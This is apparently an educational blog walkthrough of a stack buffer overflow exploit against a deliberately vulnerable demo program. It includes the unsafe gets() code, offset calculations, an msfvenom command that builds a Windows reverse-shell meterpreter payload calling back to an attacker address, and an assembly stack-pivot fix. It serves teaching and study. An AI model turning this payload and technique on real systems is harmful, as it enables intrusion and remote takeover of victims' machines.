Metasploit - Some Assembly Required

Metasploit is the most prevalent exploit framework in the world today thanks to its ease of use and scalability. Today we focus on payload generation and how some "assembly" may be required.

Filename: ConsoleApplication4.exe
Sample: Download via Reverse.it

Video Walkthrough



Target Analysis

Today's target was built to demonstrate a simple stack-based buffer overflow. It was compiled with DEP, ASLR, and stack cookies disabled in Visual Studio 2015.

int main(){
    char b[1024]; 
    gets(b); 
    return 0; 
}

We've created a 1024-byte buffer and are using the insecure gets() method. Since gets() performs no bounds checking, it will continue writing user input past the buffer and into the stack's control data.



Exploit Calculations

To redirect execution, we must identify the exact offset between our input start and the Return Address on the stack.

  • Top of Stack (ESP): 0x0018FB40
  • Bottom of Stack (EBP): 0x0018FF40
  • Return Address: EBP + 4 (0x0018FF44)

Formula for the payload:
SHELLCODE = Payload + Junk*(0x18FF44 - 0x18FB40 - len(Payload)) + 0x0018FB40



Msfvenom Payload Generation

Using MSFVENOM, we generate a reverse meterpreter payload for Windows x86, ensuring we exclude "bad characters" that would terminate the string early (like null bytes or line feeds).

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.50 LPORT=4444 \
-b "\x00\x0a\x0d\x1a\x1c\xff" -f python > x.py


The Troubleshooting: "Location, Location, Location"

Initial attempts at exploitation resulted in an irrecoverable exception. By debugging the shellcode, we found that LoadLibraryA calls were overwriting our own shellcode. Why?

When the payload executes on the stack, it doesn't move ESP. When the shellcode calls a Windows API, that function uses the stack for its own local variables, pushing and popping data directly over the shellcode currently being executed.



Some "Assembly" Required

To fix this, we need a small assembly "shim" at the very beginning of our payload to move the stack pointer away from our code:

add esp, -1500  ; Move ESP 1500 bytes "down" the stack
mov ebp, esp    ; Align EBP with the new stack top

By shifting ESP below our shellcode, we ensure that subsequent API calls have plenty of "scratch space" on the stack without clobbering our instructions.



Conclusion

Metasploit is an incredible tool, but it is not a "magic button." Understanding the underlying mechanics of the stack and how the CPU interacts with memory allows you to tailor automated payloads to specific environments. This is exactly what separates script kiddies from actual researchers.



Happy hunting.